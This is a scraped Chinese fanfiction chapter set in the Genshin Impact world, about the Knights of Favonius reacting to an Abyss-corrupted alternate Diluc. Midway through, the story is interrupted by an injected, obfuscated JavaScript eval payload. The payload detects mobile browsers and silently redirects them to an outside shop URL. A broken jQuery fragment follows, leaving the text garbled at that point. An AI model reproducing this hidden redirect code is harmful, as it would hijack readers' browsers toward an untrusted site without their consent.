事关重大,得回骑士团细说,旅行者几人匆匆赶回,正在一楼大厅里碰见几个正等着他们解释的人。
“所以,深渊的本质是未被选择的恨意?而另一个迪卢克先生,来自于未被选择的世界?天啊…”砂糖倒吸一口凉气:
“…这,这是我能知道的知识吗?”
诺艾尔听得半懂不懂,但有一点她非常清楚,“所以、另一个迪卢克先生,其实是来自经历过很糟糕事情的蒙德,对吧。”
一定是这样的,因为如果法尔伽大团长和琴团长他们还在的话,就一定不会让迪卢克先生变成那副样子的。
呜。
预备骑士忍住呜咽,诺艾尔低声道:
“我、我之前不知道这件事的时候,给了他很狠的一刀,真的是很狠的一刀。”
她开始后悔,指尖也跟着颤抖,这位年轻而善良的姑娘,可能一生中也没伤害过什么人。
但还没等她的后悔切实地落到实处,就听见旁边传来少年的轻笑。
“你这才哪到哪啊。”
洛恩拍拍她的肩膀,“有我那一枪珠玉在后,估计他早就把你那一刀给忽略了。”
“欸?呃、”
真是有洛恩风格的诡异安慰啊,凯亚心中叹气,面上挂起微笑。
“别难过,诺艾尔,我想他确实是记不住那一刀的。”
“为、为什么这么说呢,凯亚先生?”
当然是因为也有我那一剑珠玉在后,唉。
不能这么说,诺艾尔可是个好姑娘。
于是凯亚又开始娴熟地扯谎:
“诺艾尔小姐有所不知,但我们这些正式骑士都学过的,深渊侵蚀人体时第一个破坏的就是神经系统,你想想,另一个迪卢克是不是从头至尾都没叫过痛?他不太能感觉到痛,自然也不会记得你那一刀。”
“……是这样吗。”
不算高明的借口,也就能骗骗没怎么接触过深渊的诺艾尔了,远征的人都听过那些凄烈嘶哑的哀嚎,迪卢克没可能例外。
但这拙劣的谎言却实在能稍微抚慰愧疚的心,假如那个迪卢克在这里说不定会默认呢,凯亚想。
“神经系统被破坏,感觉不到痛什么的,细想起来,其实感觉好糟糕好糟糕啊。”
“但,知道我的伤害没有给另一个迪卢克先生带来太多的折磨,真是太好了。”
果然,有晶莹的光芒在女孩的眼角闪过,也有干劲重新充盈她的手指。
“下次见面时,一定要拦住他好好道歉,好好查看他伤口的情况,唔,要不要准备些营养品呢……”
“哇!”安柏跳过来附和,没有戳破谎言,“那我猜,他肯定需要一盘营养丰富的蜜酱胡萝卜煎肉!好,我亲自动手制作,就当是炸他一脸灰的补偿!”
“我、我也稍微会做一点蛋堡……”米卡也开始思考。
塔利雅也笑眯眯凑过来,“还是酒比较好吧,没有什么东西比酒更能抚慰游子的心了。”
“额,给迪卢克先生送酒吗?好有挑战性…”
眼看着讨论愈加热烈,一道冰冷的声音打断了他们。
“我不建议你们这样做。”
“啊!迪卢克老爷。”
米卡受惊般浑身一颤,他一直有些怕迪卢克。
“那个,抱、抱歉,我们会把你们分的很清楚,不会给你添麻烦的,也、也请不要在意。”
“问题不是这个。”
迪卢克的面容好像雕像般冷峻且毫无动摇。
“全然的善心常伴着全然的毁灭,我警告你们,不要贸然靠近黑色的骑士。”
“除非你们想尝尝死亡的滋味。”
!?这是是是威胁吗?没想到迪卢克老居然这么讨厌另一个自己!呃呃呃想想也对毕竟是贵族肯定会在乎莱艮芬德世代的光辉形象,而同位体看起来不仅狼狈到毫无形象还满身深渊——等等,深渊?!
“终于意识到了吗,看来旺盛的同情心还没让你们迟钝到底。”
无悲无喜的声音在耳侧响起,迪卢克提醒他们:
“能扭曲□□、侵蚀精神、汲取生命的深渊,呵,明明战斗才刚平息不久,你们凭什么以为他会神志清楚地招待你们。”
“!”
旅行者闻言心中一紧,盖因他初见染血骑士时景象太惨烈,心神被那几乎被洞穿的男人所吸引,所以才一时忽略掉了深渊对生命与周边环境的危险性。
且不说特瓦林、阿佩普一类曾被深渊侵蚀的非人物种,只说人形的,层岩巨渊的黯色空壳,彻底疯狂的深渊教团,前段时间的罗兰事件,厉害些的坎瑞亚五大罪人,没一个安全的……猎月人堕落前也就是个还不错的特工。
而另一个迪卢克,就算是没见过他正常人时的形象,但也肯定比特工厉害多了。
所以,倘若那黑色的骑士真的心神彻底失守、迷失于黑暗……
“你们!”
意识到了事情的严重性,旅行者几乎要立刻开口警告诺艾尔他们。
“不要再……”
还没等他的警告说出口,一道过于可靠的身影,就挤入了神色各异的年轻人之中。
“是啊,另一个迪卢克先生现在很危险的。”
是法尔伽,他张开手臂,揉揉这个的脑袋,再拍拍那个的肩膀,力道大得所有人都眼冒金星,头昏脑涨。
“所以若是看见他了,一定要先快快地跑回来报告,大团长我才能联合大家,一起去帮助他啊。”
米卡被揉的晕乎乎的,但还是努力抓住了法尔伽的手指问,“真的是帮助吗,大团长?”
“当然,相信我吧。”
大团长笑得一如既往。
*
法尔伽上场撸人之际,凯亚向迪卢克偏过头来:
“你呀,太凶了吧,米卡本来胆子就不大。”
迪卢克不搭腔,一句话怼回,“同样的忠告送给你。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718648|208561||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
凯亚眼睛一眯就开笑,
“什么忠告?哪个忠告?迪卢克,我说——你不会是在担心我会因为太在意另一个你,而马失前蹄吧?”
“凯亚。”
“抱歉!迪卢克老爷,请别生气,只是一时被幽默到了…”
迪卢克不曾愤怒,只有习惯了的平静。
“就算是虚幻的故事,被舍弃的可能性,‘迪卢克’的身上,也有一处不可调和的矛盾。”
“哦?愿闻其详。”
“那就是。”
忽然地扭头,迪卢克直视着自己的义弟,眼里燃烧着蓬勃的火焰与永不熄灭的少年意气。
“我绝不会死在蒙德之后。”
他说的话在理,凯亚也知道自己该听他的话,对骑士抱些评判和怀疑的态度。
可看着这双鲜亮的眼睛。
总感觉反而更想知道黯淡的经历过什么了呀……
*
那么,被迪卢克警惕的迪卢克在做什么呢。
在徒手殴打丘丘人。
为什么是徒手。
因为骑士逃跑之后才发现,自己在拥抱凯亚时太激动,不仅把旧剑柄掉在了城里,也把武器忘在了城里。
然后,拥抱的凯亚还不是自己的那个。
“……”
心火越发旺盛,漆黑的骑士就这样沉默着拳拳带火,把抢劫商队的丘丘人聚落打得四分五裂,东逃西窜。
护送商队,真是久违的经历,在最末后的日子里,各国别说是出门贸易了,就连稍微踏出城门都会被环伺在主城附近的深渊侵蚀至死。
然后……还发生了什么来着……
记忆混沌不明,细想甚至连双耳都开始强烈嗡鸣,迪卢克压着头痛吸气,边走向着商队一挥手。
去吧,你们安全了。
“XXX!XXXXX!”
奇怪,为首的那个白发男人不仅不带着商队走,还蹦跳着奋力靠近,面色狰狞嘴里大喊着什么。
那喊声越来越大,甚至盖过强烈的耳鸣,终于,在白发男人一次次奋力的呼唤中,那漆黑的骑士终于停止了迈向深林的脚步。
“……埃泽。”他不确定地回头。
“迪卢克老爷!”
埃泽终于听到回应,激动得都要哭了,这位可靠的酒庄管家在克利普斯老爷死后就再也没这么慌乱过,他对着骑士流泪:
“一上午不见老爷你咋就变成这样了??”
“……”
骑士也恍惚地看他。
原来埃泽能长大会变成这个样子啊。
……
看一看就算了,你要知道这不是你认识的那个人。
咬咬舌头,迪卢克努力平静地点点头,算是打了招呼,转身就要离开。
可他刚要离开的瞬间,腿上就狠狠一重,埃泽不顾形象地扑过来抓他大腿:
“老爷!快和我回晨曦酒庄啊老爷!”